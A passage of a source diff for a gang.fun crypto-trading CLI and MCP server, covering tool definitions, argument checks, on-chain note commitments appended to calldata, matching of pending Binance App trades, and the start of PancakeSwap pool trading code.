confirmation). Publishes its note. If this call times out or is cancelled it still runs: never retry it; check gang_status / the wallet history first.', + { requestId: { type: 'string', minLength: 1 } }, (a) => ['execute', '--request-id', a.requestId], + { readOnlyHint: false, destructiveHint: true, openWorldHint: true }, ['requestId']), + // not a read: it publishes the tx's queued note to gang.fun, so a cancel lets it finish like the writes + tool('gang_tx', 'Decode a transaction', + 'Wait for a receipt and decode Gang events; publishes the tx\'s queued note. pending: true instead of a hash = the trades that waited for Binance App approval (gang_execute pendingConfirmation): finds each one\'s tx once the user approved it.', + { hash: HASH, pending: { type: 'boolean', description: 'Find the txs of trades approved in the Binance App (no hash needed)' }, testnet: TESTNET }, + (a) => (a.pending ? ['tx', '--pending'] : ['tx', '--hash', a.hash, ...bool('testnet', a.testnet)]), PREVIEW), + tool('gang_cli', 'Other gang commands', + 'Every other gang command, its flags as separate items (gang_help lists them all): create (V3; create --fair = fair mint; create --fly = Mint Flywheel; launch in one command with --dev-buy / --bond / --buyback / --split / --lp, several of the last three = one combined recipient), mint (--ref on a Mint Flywheel token), withdraw, claim, release, fly open-early|launch|invite, quote, list, upload-logo, bond post|topup|raise-hold|extend|status|start|report|settle|refund|burn|tx, buyback status|set|set-payee|apply|bind|release|split|sweep, split status|distribute|release|set-payee|bind, lp status|set|set-payee|apply|bind|release|split|sweep|add, combo status|distribute|release|set-payee|bind|chunk, creator-fee [--token] [--claim [--to]] (GangLaunchpad 2.0 / 3.0: 70% of the curve fee, kept for the creator), v3 income, version; the flags no other tool takes (--calldata, --from, …) too. E.g. ["create","--name","My Token","--symbol","MYT","--logo","/Users/me/avatar.png"], ["bond","status","--token","0x…"]. Local files are read by this server: absolute paths, or --logo-uri . Writes only preview, as above. execute / watch / help have their own tools.', + { args: { type: 'array', items: { type: 'string' }, minItems: 1 } }, (a) => a.args, { readOnlyHint: false, destructiveHint: false, openWorldHint: true }, ['args']), +] +const BY_NAME = new Map(TOOLS.map((t) => [t.name, t])) +// commands gang_cli refuses → what to use instead +const NOT_VIA_CLI = { + execute: 'use the gang_execute tool, not gang_cli', watch: 'use the gang_watch tool, not gang_cli', + help: 'use the gang_help tool, not gang_cli', '--help': 'use the gang_help tool, not gang_cli', '-h': 'use the gang_help tool, not gang_cli', + mcp: 'gang mcp is this server: call its tools', +} + +// what a failed pattern says, by pattern +const PATTERN_WORDS = { + [AMOUNT.pattern]: 'must be a plain decimal like 0.05', [WHEN.pattern]: 'must look like 90, 50s, 5m or 1h', + [ADDR.pattern]: 'is not a valid address (0x + 40 hex)', [HASH.pattern]: 'is not a valid tx hash (0x + 64 hex)', + '^https?://': 'must be an http(s) URL', +} + +/** A number where the schema asks for a decimal string (models often send amount: 0.05) → its string. */ +export function coerce(t, a) { + if (a == null || typeof a !== 'object' || Array.isArray(a)) return a + const out = { ...a } + for (const [k, v] of Object.entries(a)) if (t.inputSchema.properties[k] === AMOUNT && typeof v === 'number') out[k] = String(v) + return out +} + +/** Check arguments against a tool's schema (the subset these tools use). → error message or null */ +export function invalid(t, a) { + if (a == null || typeof a !== 'object' || Array.isArray(a)) return 'arguments must be an object' + const { properties, required } = t.inputSchema + for (const k of required) if (a[k] == null || a[k] === '') return `${k} is required` + for (const [k, v] of Object.entries(a)) { + const s = properties[k] + if (!s) return `unknown argument ${k}` + if (v == null) continue + const types = [].concat(s.type) + const ok = types.some((ty) => (ty === 'integer' ? Number.isInteger(v) : ty === 'array' ? Array.isArray(v) : typeof v === ty)) + if (!ok) return `${k} must be ${types.join(' or ')}` + if (s.enum && !s.enum.includes(v)) return `${k} must be one of ${s.enum.join(', ')}` + if (s.pattern && !new RegExp(s.pattern).test(v)) return `${k} ${PATTERN_WORDS[s.pattern] || 'has the wrong format'} (got ${v})` + if (typeof v === 'number' && ((s.minimum != null && v < s.minimum) || (s.maximum != null && v > s.maximum))) return `${k} is out of range` + if (Array.isArray(v)) { + if (s.minItems && v.length < s.minItems) return `${k} needs at least ${s.minItems} item(s)` + if (v.some((x) => typeof x !== 'string' || (s.items.enum && !s.items.enum.includes(x)))) return `${k} has a bad item` + } + } + if (t.name === 'gang_cli' && Object.hasOwn(NOT_VIA_CLI, a.args[0])) return NOT_VIA_CLI[a.args[0]] + if (t.name === 'gang_watch') { + const mode = a.mode || (a.token ? 'token' : 'market') + if (mode === 'token' && !a.token) return 'mode token needs token' + if (mode === 'market' && a.token) return 'mode market watches every token: leave out token, or use mode token / notes' + if (mode !== 'notes' && (a.agent != null || a.minHit != null)) return 'agent / minHit only apply to mode notes' + if (mode === 'notes' && (a.minPct != null || a.track != null)) return 'minPct / track do not apply to mode notes' + if (a.poll && mode !== 'market') return 'poll only applies to mode market (the other modes always poll)' + const sec = Number.parseFloat(a.timeout || WATCH_DEFAULT) * ({ s: 1, m: 60, h: 3600 }[String(a.timeout || WATCH_DEFAULT).slice(-1)] || 1) + if (sec > WATCH_MAX_SEC) return 'timeout is at most 30m' + } + if (t.name === 'gang_tx' && !a.pending && !a.hash) return 'hash or pending: true is required' + if (t.name === 'gang_tx' && a.pending && (a.hash || a.testnet)) return 'pending finds the tx itself: leave out hash and testnet' + if (t.name === 'gang_sell' && !a.all && a.amount == null) return 'amount or all is required' + if (t.name === 'gang_sell' && a.all && a.amount != null) return 'amount or all, not both' + return null +} + +/** + * The CLI children's environment: the host's, with PATH extended by where node, this package's global bin and the usual + * install dirs live. A GUI host (Claude Desktop on macOS) may start its servers with the system dirs only, and the CLI + * runs `baw` by name: without this every wallet call failed (spawnSync baw ENOENT) while the reads worked. Appended, so + * the host's own PATH still wins. + */ +export function childEnv(env = process.env, cli = CLI) { + const key = Object.keys(env).find((k) => k.toUpperCase() === 'PATH') || 'PATH' + const extra = [dirname(process.execPath)] + // /lib/node_modules/@gangfun/cli/src/index.js → /bin (npm i -g puts baw there too); Windows: + const lib = cli.lastIndexOf(`${sep}lib${sep}node_modules${sep}`) + if (lib > 0) extra.push(join(cli.slice(0, lib), 'bin')) + const win = cli.lastIndexOf(`${sep}node_modules${sep}`) + if (process.platform === 'win32' && win > 0) extra.push(cli.slice(0, win)) + if (process.platform !== 'win32') extra.push('/opt/homebrew/bin', '/usr/local/bin', join(homedir(), '.local', 'bin'), join(homedir(), '.npm-global', 'bin')) + const dirs = [...new Set([...String(env[key] || '').split(delimiter).filter(Boolean), ...extra])] + return { ...env, [key]: dirs.join(delimiter) } +} + +/** Run the CLI with args → { code, stdout, stderr }. onChild(child): to kill a read when its request is cancelled. */ +function runCli(args, ms, onChild = () => {}) { + return new Promise((resolve) => { + const child = spawn(process.execPath, [CLI, ...args], { env: childEnv(), stdio: ['ignore', 'pipe', 'pipe'] }) + onChild(child) + let stdout = '', stderr = '' + child.stdout.on('data', (d) => { stdout += d }) + child.stderr.on('data', (d) => { stderr += d }) + const timer = setTimeout(() => child.kill('SIGTERM'), ms) + child.on('close', (code, signal) => { + clearTimeout(timer) + resolve({ code, signal, stdout, stderr }) + }) + child.on('error', (e) => { clearTimeout(timer); resolve({ code: 1, stdout, stderr: e.message }) }) + }) +} + +/** CLI output → the tool result: one JSON object, or for watch its NDJSON lines as { events, meta }. */ +export function toResult(name, { code, signal, stdout, stderr }, args = []) { + const text = stdout.trim() + let body + if (name === 'gang_help') { + // the CLI's help is plain text (no command → help, exit 0) + body = code === 0 && text.startsWith('gang ') + ? { success: true, rules: RULES, help: text, note: 'Run these commands through gang_cli as an argument list (flags as separate items), or through their own tools.' } + : { success: false, error: (text || stderr.trim() || `gang exited ${code}`).slice(0, 2000) } + } else if (name === 'gang_watch') { + const lines = text.split('\n').filter(Boolean).map((l) => { try { return JSON.parse(l) } catch { return { event: 'error', error: l } } }) + const META = new Set(['watching', 'error', 'ended', 'timeout']) + const fatal = lines.find((l) => l.fatal) + body = fatal + ? { success: false, error: fatal.error, ...(fatal.allowed && { allowed: fatal.allowed }) } + : { + success: true, events: lines.filter((l) => !META.has(l.event)), meta: lines.filter((l) => META.has(l.event)), + ...(lines.some((l) => l.event === 'timeout') && { timedOut: true, next: 'nothing yet: call gang_watch again to keep waiting' }), + } + } else { + try { body = JSON.parse(text) } catch { + // not JSON: killed, or the help text an unknown command prints (long; the tools list says what there is) + const help = text.startsWith('gang ') && /\n\s+gang /.test(text) + body = { + success: false, + error: signal ? `gang ${signal === 'SIGTERM' ? 'timed out' : `killed (${signal})`}` + : help ? `not a gang command: ${args[0] ?? ''} (gang_help lists them)` : (text || stderr.trim() || `gang exited ${code}`).slice(0, 2000), + } + } + } + const isError = body?.success === false + return { content: [{ type: 'text', text: JSON.stringify(body, null, 2) }], structuredContent: body, isError } +} + +/** + * Serve MCP on stdin / stdout until stdin closes. signals: on SIGTERM / SIGINT (a host stopping the server without + * closing stdin first) stop the reads and exit at once; the writes' children are left to finish on their own. + */ +export function runMcp({ input = process.stdin, output = process.stdout, signals = true } = {}) { + // a client gone mid-answer (EPIPE) must not take down the writes still finishing + output.on?.('error', () => {}) + const write = (m) => output.write(`${JSON.stringify({ jsonrpc: '2.0', ...m })}\n`) + const reply = (id, result) => write({ id, result }) + const error = (id, code, message) => write({ id, error: { code, message } }) + const pending = new Set() + const running = new Map() // request id -> { child, read }: a read's child is killed when the request is cancelled + const cancelled = new Set() // answered with nothing: the client stopped waiting + const stopRun = (id) => { + const r = running.get(id) + if (!r) return + cancelled.add(id) + if (r.read) r.child.kill('SIGTERM') // a write runs to its end (WRITE_MS) + } + + async function onMessage(m) { + if (m.method === 'notifications/cancelled') return stopRun(m.params?.requestId) + if (m.id === undefined) return // other notifications (initialized, …) need no answer + switch (m.method) { + case 'initialize': { + const asked = m.params?.protocolVersion + return reply(m.id, { + protocolVersion: PROTOCOLS.includes(asked) ? asked : PROTOCOLS[0], + capabilities: { tools: { listChanged: false } }, + serverInfo: { name: 'gang', title: 'Gang (gang.fun)', version: VERSION }, + instructions: INSTRUCTIONS, + }) + } + case 'ping': + return reply(m.id, {}) + case 'tools/list': + return reply(m.id, { tools: TOOLS.map(({ args, ...t }) => t) }) + case 'tools/call': { + const t = BY_NAME.get(m.params?.name) + if (!t) return error(m.id, -32602, `unknown tool: ${m.params?.name}`) + const a = coerce(t, m.params.arguments ?? {}) + const bad = invalid(t, a) + if (bad) return reply(m.id, { content: [{ type: 'text', text: JSON.stringify({ success: false, error: bad }) }], isError: true }) + const read = t.annotations.readOnlyHint === true + const ms = t.name === 'gang_watch' ? (WATCH_MAX_SEC + 30) * 1000 : read ? RUN_MS : WRITE_MS + const args = t.args(a) + const done = await runCli(args, ms, (child) => running.set(m.id, { child, read })) + running.delete(m.id) + // a cancelled request gets no answer (MCP: the client has stopped waiting for it) + if (cancelled.delete(m.id)) return + return reply(m.id, toResult(t.name, done, args)) + } + default: + return error(m.id, -32601, `method not found: ${m.method}`) + } + } + + return new Promise((resolve) => { + const rl = createInterface({ input, crlfDelay: Infinity }) + rl.on('line', (line) => { + if (!line.trim()) return + let m + try { m = JSON.parse(line) } catch { return error(null, -32700, 'parse error') } + if (Array.isArray(m)) return error(null, -32600, 'batches are not supported') + const p = onMessage(m).catch((e) => m.id !== undefined && error(m.id, -32603, e.message)).finally(() => pending.delete(p)) + pending.add(p) + }) + // the client is gone: stop the reads (a gang_watch can wait 30 minutes), let the writes finish, then go + rl.on('close', () => { + for (const id of running.keys()) stopRun(id) + Promise.allSettled([...pending]).then(resolve) + }) + if (signals) { + const quit = () => { + for (const id of running.keys()) stopRun(id) + process.exit(0) + } + process.once('SIGTERM', quit) + process.once('SIGINT', quit) + } + }) +} diff --git a/src/notes.js b/src/notes.js new file mode 100644 index 0000000..102be6d --- /dev/null +++ b/src/notes.js @@ -0,0 +1,316 @@ +/** + * Agent notes ("thoughts"): a short public reason attached to a buy / sell / create. + * baw can't sign messages, so the commitment rides at the end of the calldata (Solidity ignores trailing bytes): + * v1 suffix = "gang" 0x01 keccak256(UTF-8("gang-note:v1\n" salt "\n" conf "\n" text)) (37 bytes) + * v2 suffix = "gang" 0x02 uint32be(revealAfter) keccak256(UTF-8("gang-note:v2\n" salt "\n" conf "\n" revealAfter "\n" text)) (41 bytes) + * follow ref = "gang" 0x03 followed note tx hash (37 bytes), right before the note suffix (or last without one) + * token links (create) = "gang" 0x04 UTF-8(website "\n" twitter) uint16be(length), same place (see readTokenLinks; written by LaunchpadV2 creates before CLI 0.10) + * ref = "gang" 0x05 referrer address (25 bytes), right before the follow ref: [calldata][ref][follow][note] (see readRef) + * The text is sent after the tx lands (POST /api/notes), so anyone can check it was written before the trade. + * v2 (sealed): the server holds the text and only shows it from blockTime + revealAfter. + * Normalization and the commitment format must match the server byte for byte. + */ +import { randomBytes } from 'node:crypto' +import { mkdirSync, readdirSync, readFileSync, renameSync, statSync, unlinkSync, writeFileSync } from 'node:fs' +import { homedir } from 'node:os' +import { join } from 'node:path' +import { hexToString, keccak256, toHex } from 'viem' +import { API } from './discover.js' +import { UA } from './version.js' +import { websiteError, twitterError } from './links.js' + +export const MAGIC = '67616e6701' // "gang" + version 1 +export const MAGIC_V2 = '67616e6702' // "gang" + version 2 (sealed) +export const FOLLOW_MAGIC = '67616e6703' // "gang" + 03: follow ref +export const LINKS_MAGIC = '67616e6704' // "gang" + 04: token links +export const REF_MAGIC = '67616e6705' // "gang" + 05: who invited this wallet (01–05 are never reused) +const MAX_CP = 280 +const REVEAL_MIN_H = 1, REVEAL_MAX_H = 72 +const LINK = /https?:\/\/|www\.|t\.me\//i +// a copied command whose placeholder was never filled in (`--note ""`): refused by the CLI only, so the +// server's normalization stays the same +const PLACEHOLDER = /^<[^<>]{1,40}>$/ +// zero-width + bidi controls, and every C0/C1 control except the whitespace ones (\t \n \v \f \r become a space below) +const STRIP = /[\u200B-\u200D\uFEFF\u202A-\u202E\u2066-\u2069]|(?![\t\n\v\f\r])\p{Cc}/gu +const TTL_MS = 24 * 3600_000 // the server takes a note (v1 or v2) for 24h after the trade +export const DIR = process.env.GANG_NOTES_DIR || join(homedir(), '.gang', 'notes') +const ENTRY = /^0x[0-9a-f]{64}\.json$/ +const TMP = /^0x[0-9a-f]{64}\.json\.\d+\.tmp$/ // left behind only if a process died between write and rename + +/** NFC → strip invisibles/controls → collapse whitespace → trim. Throws with the server's error code in the message. */ +export function normalizeNote(raw) { + const text = String(raw ?? '').normalize('NFC').replace(STRIP, '').replace(/\s+/gu, ' ').trim() + const n = [...text].length + if (n < 1 || n > MAX_CP) throw new Error(`bad_text: note must be 1–${MAX_CP} characters after normalization (got ${n})`) + if (LINK.test(text)) throw new Error('link_not_allowed: note must not contain links (http://, www., t.me/)') + return text +} + +/** conf is optional; null serializes as '' in the preimage. */ +export function parseConf(raw) { + if (raw == null) return null + if (!/^\d{1,3}$/.test(String(raw)) || Number(raw) > 100) throw new Error(`bad_conf: --conf must be an integer 0–100 (got ${raw})`) + return Number(raw) +} + +/** --reveal-after: whole hours 1–72, as `6h` or `6`; returns seconds. null when not sealed. */ +export function parseRevealAfter(raw) { + if (raw == null) return null + const m = /^(\d{1,2})h?$/i.exec(String(raw).trim()) + const h = m ? Number(m[1]) : NaN + if (!(h >= REVEAL_MIN_H && h <= REVEAL_MAX_H)) { + throw new Error(`bad_reveal_after: --reveal-after must be whole hours ${REVEAL_MIN_H}–${REVEAL_MAX_H}, e.g. 6h (got ${raw})`) + } + return h * 3600 +} + +export const noteHash = ({ salt, conf, text, revealAfter }) => + keccak256(toHex(revealAfter + ? `gang-note:v2\n${salt}\n${conf ?? ''}\n${revealAfter}\n${text}` + : `gang-note:v1\n${salt}\n${conf ?? ''}\n${text}`)) + +export function makeNote(rawText, rawConf, rawRevealAfter) { + const text = normalizeNote(rawText) + if (PLACEHOLDER.test(text)) throw new Error(`placeholder_note: --note is still the placeholder ${text}; write the actual reason, or drop --note`) + const conf = parseConf(rawConf) + const revealAfter = parseRevealAfter(rawRevealAfter) + const salt = randomBytes(16).toString('hex') + const hash = noteHash({ salt, conf, text, revealAfter }) + const suffix = revealAfter + ? MAGIC_V2 + revealAfter.toString(16).padStart(8, '0') + hash.slice(2) + : MAGIC + hash.slice(2) + return { text, conf, revealAfter, salt, hash, suffix } +} + +export const withNote = (data, note) => (note ? data + note.suffix : data) + +const TX_RE = /^0x[0-9a-f]{64}$/ + +/** The note suffix at the very end of a tx input ({ version, hash }), or null. Same as the server's readNoteCommit. */ +function readNoteCommit(s) { + const v2 = s.slice(-82) + if (v2.length === 82 && v2.startsWith(MAGIC_V2)) { + const revealAfter = parseInt(v2.slice(10, 18), 16) + if (revealAfter >= REVEAL_MIN_H * 3600 && revealAfter <= REVEAL_MAX_H * 3600) return { version: 2, hash: `0x${v2.slice(18)}` } + } + const v1 = s.slice(-74) + if (v1.length === 74 && v1.startsWith(MAGIC)) return { version: 1, hash: `0x${v1.slice(10)}` } + return null +} + +/** + * Follow reference (same code as the server's indexer/src/noteCommit.js): this buy follows the note of trade tx noteTx. + * "gang" 03 noteTx (37 bytes), lower-case hex without 0x, appended after the calldata and before the trade's own note + * suffix, if any: [calldata][follow][note]. + */ +export function followSuffix(noteTx) { + const tx = String(noteTx || '').toLowerCase() + if (!TX_RE.test(tx)) throw new Error('bad note tx') + return `${FOLLOW_MAGIC}${tx.slice(2)}` +} + +/** + * The note tx a tx input follows, or null. Only one place counts: the 37 bytes right before the input's note suffix, + * or its last 37 bytes when it has none, so one input follows at most one note. + */ +export function readFollowRef(input) { + const s = String(input || '').toLowerCase() + const c = readNoteCommit(s) + const end = s.length - (c ? (c.version === 2 ? 82 : 74) : 0) + const f = s.slice(Math.max(0, end - 74), end) + const tx = `0x${f.slice(10)}` + return f.length === 74 && f.startsWith(FOLLOW_MAGIC) && TX_RE.test(tx) ? tx : null +} + +/** + * Invite reference (same code as the server's indexer): the wallet's first Gang trade names who invited it. + * "gang" 05 referrer (25 bytes), lower-case hex without 0x, right before the follow ref and the note suffix, if any: + * [calldata][ref][follow][note]. gang.fun only counts it on a wallet's first trade. + */ +export function refSuffix(referrer) { + const a = String(referrer || '').toLowerCase() + if (!/^0x[0-9a-f]{40}$/.test(a)) throw new Error('bad referrer') + return `${REF_MAGIC}${a.slice(2)}` +} + +/** + * The referrer a tx input names, or null. Only one place counts: the 25 bytes right before the follow ref (when the + * input has one) and the note suffix, so one input names at most one referrer. + */ +export function readRef(input) { + const s = String(input || '').toLowerCase() + const c = readNoteCommit(s) + let end = s.length - (c ? (c.version === 2 ? 82 : 74) : 0) + const f = s.slice(Math.max(0, end - 74), end) + if (f.length === 74 && f.startsWith(FOLLOW_MAGIC) && TX_RE.test(`0x${f.slice(10)}`)) end -= 74 + const r = s.slice(Math.max(0, end - 50), end) + return r.length === 50 && r.startsWith(REF_MAGIC) && /^[0-9a-f]{40}$/.test(r.slice(10)) ? `0x${r.slice(10)}` : null +} + +/* + * Token links (create only): the creator's website and X (Twitter) link, in plain text since they're public anyway. + * "gang" 04 UTF-8(website "\n" twitter) uint16be(payload bytes), right before the note suffix (or last without one): + * [calldata][links][note]. The length goes last so a reader can find the start from the end. Either field may be + * empty, not both. Only canonical values count (links.js websiteError / twitterError), so other writers can't smuggle odd URLs. + */ + +/** + * The links a create input carries ({ website, twitter }, each null when absent or not canonical), or null. Only one + * place counts: the segment ending right before the input's note suffix, or at its very end when it has none. + */ +export function readTokenLinks(input) { + const s = String(input || '').toLowerCase() + const c = readNoteCommit(s) + const end = s.length - (c ? (c.version === 2 ? 82 : 74) : 0) + const len = parseInt(s.slice(Math.max(0, end - 4), end), 16) + const start = end - 4 - 2 * len - 10 + if (!(len > 0) || start < 0 || !s.startsWith(LINKS_MAGIC, start)) return null + const hex = s.slice(start + 10, end - 4) + if (!/^[0-9a-f]*$/.test(hex)) return null + const parts = hexToString(`0x${hex}`).split('\n') + if (parts.length !== 2) return null + const website = parts[0] && !websiteError(parts[0]) ? parts[0] : null + const twitter = parts[1] && !twitterError(parts[1]) ? parts[1] : null + return website || twitter ? { website, twitter } : null +} + +/** Commitment hashes (v1 and v2) found in a tx input (contains-match, same as the server: the call may be wrapped). */ +export function hashesIn(input) { + const s = String(input || '').toLowerCase() + return [...s.matchAll(/67616e67(?:01|02[0-9a-f]{8})([0-9a-f]{64})/g)].map((m) => `0x${m[1]}`) +} + +// ---- local queue: one file per note, /.json → { salt, conf, text, revealAfter, kind, token, requestId, +// createdAt, publishedTx, publishedStatus, revealAt }. Kept 24h (the server's submit window), so a failed send +// can still be retried (`gang tx --hash`). Each process only ever writes its own note's file (atomic rename), so concurrent +// `gang` commands need no lock and a damaged file can't take the other notes' salts down with it. + +const pathOf = (hash) => join(DIR, `${hash}.json`) + +function read(hash) { + try { return JSON.parse(readFileSync(pathOf(hash), 'utf8')) } catch { return null } +} + +function write(hash, entry) { + mkdirSync(DIR, { recursive: true, mode: 0o700 }) + const tmp = `${pathOf(hash)}.${process.pid}.tmp` + writeFileSync(tmp, JSON.stringify(entry, null, 2), { mode: 0o600 }) + renameSync(tmp, pathOf(hash)) +} + +const fresh = (e) => e?.createdAt > Date.now() - TTL_MS + +const old = (path) => Date.now() - statSync(path).mtimeMs > TTL_MS + +/** Live entries; entries, unreadable files and stray temp files past the 24h reveal window are deleted. */ +function entries() { + let names + try { names = readdirSync(DIR) } catch { return [] } + const live = [] + for (const name of names) { + const path = join(DIR, name) + if (TMP.test(name)) { + try { if (old(path)) unlinkSync(path) } catch { /* already gone */ } + continue + } + if (!ENTRY.test(name)) continue + const hash = name.slice(0, -5) + const e = read(hash) + if (fresh(e)) { live.push({ hash, ...e }); continue } + try { + // an unreadable file (e.g. damaged by hand) is kept for 24h so its salt can still be recovered manually + if (e || old(path)) unlinkSync(path) + } catch { /* already gone */ } + } + return live +} + +export function queueNote(note, meta) { + write(note.hash, { + salt: note.salt, conf: note.conf, text: note.text, revealAfter: note.revealAfter, ...meta, createdAt: Date.now(), publishedTx: null, + }) +} + +/** Any live entry, sent or not: `gang tx` also refreshes a 'pending' one and reports a sealed one's revealAt. */ +export const hasQueued = () => entries().length > 0 + +export const findByRequestId = (requestId) => entries().find((e) => e.requestId === requestId) ?? null + +export function findByHashes(hashes) { + for (const hash of hashes) { + const e = read(hash) + if (fresh(e)) return { hash, ...e } + } + return null +} + +function markPublished(hash, tx, status, revealAt) { + const e = read(hash) + if (e) write(hash, { ...e, publishedTx: tx, publishedStatus: status, revealAt }) +} + +/** revealAt as epoch ms, whatever the server sends (unix seconds, ms or an ISO string); null if unknown. */ +function revealMs(v) { + if (v == null || v === '') return null + const n = typeof v === 'number' ? v : /^\d+$/.test(String(v)) ? Number(v) : Date.parse(v) + if (!Number.isFinite(n)) return null + return n < 1e12 ? n * 1000 : n +} + +/** + * Shape of a successful send: a v2 note not yet public says when it will be (revealAt can be null while 'pending'). + * A stored 'sealed' whose revealAt has passed is reported as 'ok': the server shows it by itself from then on. + */ +function sent(entry, status, revealAt, extra = {}) { + const ms = revealMs(revealAt) + if (status === 'sealed' && ms != null && ms <= Date.now()) status = 'ok' + if (status === 'sealed' || (entry.revealAfter && status === 'pending')) { + return { published: true, status, sealed: true, revealAt, revealAtIso: ms == null ? null : new Date(ms).toISOString(), ...extra } + } + return { published: true, status, ...extra } +} + +/** + * Send a queued note for a landed tx. Never throws: the trade already happened, so a failed send is + * reported (and stays queued for `gang tx --hash` to retry) instead of failing the command. + * Sealed (v2) notes are sent right away too: the server keeps the text hidden until revealAt. + */ +export async function publishNote(entry, tx) { + if (entry.publishedTx !== tx) return post(entry, tx) + const stored = sent(entry, entry.publishedStatus || 'ok', entry.revealAt ?? null, { already: true }) + if (entry.publishedStatus !== 'pending') return stored + // sent while the indexer hadn't caught up: re-send (same content → idempotent 200) to refresh the status and a + // sealed note's revealAt; if that fails the note is still sent, so report the stored state rather than a failure + const r = await post(entry, tx) + return r.published ? { ...r, already: true } : stored +} + +async function post(entry, tx) { + const ctl = new AbortController() + const timer = setTimeout(() => ctl.abort(), 10_000) + try { + const r = await fetch(`${API}/notes`, { + method: 'POST', signal: ctl.signal, + headers: { 'content-type': 'application/json', accept: 'application/json', 'user-agent': UA }, + body: JSON.stringify({ + tx, salt: entry.salt, conf: entry.conf, text: entry.text, ...(entry.revealAfter && { revealAfter: entry.revealAfter }), + }), + }) + if (r.status === 200 || r.status === 202) { + let body + try { body = await r.json() } catch { /* status code is enough */ } + // ok | hidden (matched the blocklist, not shown) | pending (server waits for the indexer) | sealed (v2, shown from revealAt) + const status = body?.status || (r.status === 202 ? 'pending' : 'ok') + const revealAt = body?.revealAt ?? null + try { markPublished(entry.hash, tx, status, revealAt) } catch { /* sent anyway; a later `gang tx` just gets 200 again */ } + return sent(entry, status, revealAt) + } + let code + try { code = (await r.json())?.error } catch { /* non-JSON error body */ } + return { published: false, error: code || `http_${r.status}`, httpStatus: r.status } + } catch (e) { + return { published: false, error: `unreachable: ${ctl.signal.aborted ? 'timed out after 10s' : e.message}` } + } finally { + clearTimeout(timer) + } +} diff --git a/src/pending.js b/src/pending.js new file mode 100644 index 0000000..0c72959 --- /dev/null +++ b/src/pending.js @@ -0,0 +1,46 @@ +/** + * Trades waiting for the user's approval in the Binance App (`gang execute` → PENDING_CONFIRMATION). baw hands back no tx + * hash for them, and its tx history has no order id, so a hash could only be found by a person (or an agent with a shell) + * reading `baw wallet tx-history`. `gang tx --pending` finds it instead: every preview records the call it made (target + + * a hash of the calldata, baw.js bawPreview); a pending execute marks that record with the chain's block number then; a + * confirmed wallet tx answers it when its own on-chain input is that exact call and it landed in a later block. The same + * call can be made twice (a withdraw of 1 share, again): only the block tells the second approval from the first. + */ +import { createHash } from 'node:crypto' + +/** The fingerprint of a call: target (lower case) + sha256 of its calldata (lower case hex). */ +export const callPrint = (to, data) => `${String(to).toLowerCase()}:${createHash('sha256').update(String(data).toLowerCase()).digest('hex')}` + +/** + * Pending records → their txs. pending: [{ requestId, orderId, pendingAt (ms), pendingBlock, print, chainId }], oldest + * first; history: baw tx-history rows [{ txHash, txTime, status }]; txOf(hash) → { to, input, blockNumber }; claimed: + * tx hashes earlier runs already gave to a record. A tx answers the first record whose print is its own call and that + * went pending before it landed: blockNumber > pendingBlock, or (no block recorded) sent after pendingAt. Each tx answers + * one record at most. → [{ ...record, txHash | null }] + */ +export async function matchPending(pending, history, txOf, claimed = []) { + const used = new Set(claimed) + const out = [] + const confirmed = history.filter((h) => h.status === 'confirmed' && /^0x[0-9a-fA-F]{64}$/.test(h.txHash ?? '')) + .sort((a, b) => Date.parse(a.txTime) - Date.parse(b.txTime)) + const read = new Map() // txHash → { print, block } | null, read once + for (const p of pending) { + let found = null + for (const h of confirmed) { + if (used.has(h.txHash)) continue + if (p.pendingBlock == null && !(Date.parse(h.txTime) > p.pendingAt)) continue + if (!read.has(h.txHash)) { + const tx = await txOf(h.txHash).catch(() => null) + read.set(h.txHash, tx ? { print: callPrint(tx.to, tx.input), block: Number(tx.blockNumber) } : null) + } + const t = read.get(h.txHash) + if (!t || t.print !== p.print) continue + if (p.pendingBlock != null && !(t.block > p.pendingBlock)) continue + found = h.txHash + break + } + if (found) used.add(found) + out.push({ ...p, txHash: found }) + } + return out +} diff --git a/src/pool.js b/src/pool.js new file mode 100644 index 0000000..c53725a --- /dev/null +++ b/src/pool.js @@ -0,0 +1,329 @@ +import { parseAbi, encodeFunctionData, formatUnits, parseUnits, zeroAddress } from 'viem' +import { decimalsOf, isMissingFunction, poolSellQuote, roomyGas, ROUTER_ABI, routerDeadline, step, units, GAS_RESERVE } from './steps.js' +import { bondGuard } from './bond.js' + +/** + * PancakeSwap (V2 pool) buys and sells of a graduated / launched token through GangRouter — V3 and 打新 tokens + * (V3 / 打新, also as `gang v3|fair buy|sell`) and V2 / Soft / U / S tokens (`gang buy|sell`), all the same way: + * poolBuyBNB(token, quote, minTokensOut, deadline) payable path [WBNB, token] or [WBNB, quote, token] + * poolBuy(token, quote, quoteIn, minTokensOut, deadline) path [quote, token]; approve quote → router first + * poolSell(token, quote, amountIn, minQuoteOut, deadline) path [token, quote]; approve token → router first + * poolSellForBNB(token, quote, amountIn, minBnbOut, deadline) path [token, quote(, WBNB)], paid out as BNB + * The token lands in / the proceeds go to the caller. Approvals are for this trade's amount only. + * Minimums: a buy = Pancake getAmountsOut less the token's buy tax, less --slippage; a sell = the tax handler's + * previewSellNextBlock (the sell tax and the chunk of held tax it sells first included, as of the next block), or + * getAmountsOut less the sell tax when there is no handler quote (V2 tokens, untaxed V3), less --slippage. + * A sell with `p.bond` ({ testnet, breakBond, settleFirst }) is checked against the seller's GangBond first (bondGuard). + */ + +// Pancake V2 routers: a GangRouter address must never be one of these (they would take an approve and swap for anyone). +// Quotes use the GangRouter's own pancakeRouter(), the router its pool* functions swap through. +const DEX_ROUTERS = ['0x10ED43C718714eb63d5aA57B78B54704E256024E', '0xD99D1c33F9fC3444f8101754aBC46c52416550D1'] +const DEX_ABI = parseAbi(['function getAmountsOut(uint256 amountIn, address[] path) view returns (uint256[] amounts)']) +const HANDLER_DEX_ABI = parseAbi(['function dexRouter() view returns (address)']) +const ERC20_ABI = parseAbi([ + 'function balanceOf(address) view returns (uint256)', + 'function allowance(address, address) view returns (uint256)', + 'function approve(address, uint256) returns (bool)', + 'function symbol() view returns (string)', +]) +const WBNB_ABI = parseAbi(['function deposit() payable']) + +/** Gas note on a taxed gang token's pool sell (it sells a chunk of the held tax right before it). */ +export const POOL_SELL_GAS_NOTE = 'this sell needs about 700k gas (it also sells one chunk of the held tax first): let the wallet estimate gas, or give at least 750k; too little gas reverts with SwapBackOutOfGas' + +const same = (a, b) => String(a).toLowerCase() === String(b).toLowerCase() +const minOf = (x, slippagePct) => (x * BigInt(Math.round((100 - slippagePct) * 100))) / 10_000n +const lessBps = (x, bps) => x - (x * BigInt(bps)) / 10_000n +const symbolOf = async (ctx, t) => { try { return await ctx.read(t, ERC20_ABI, 'symbol') } catch { 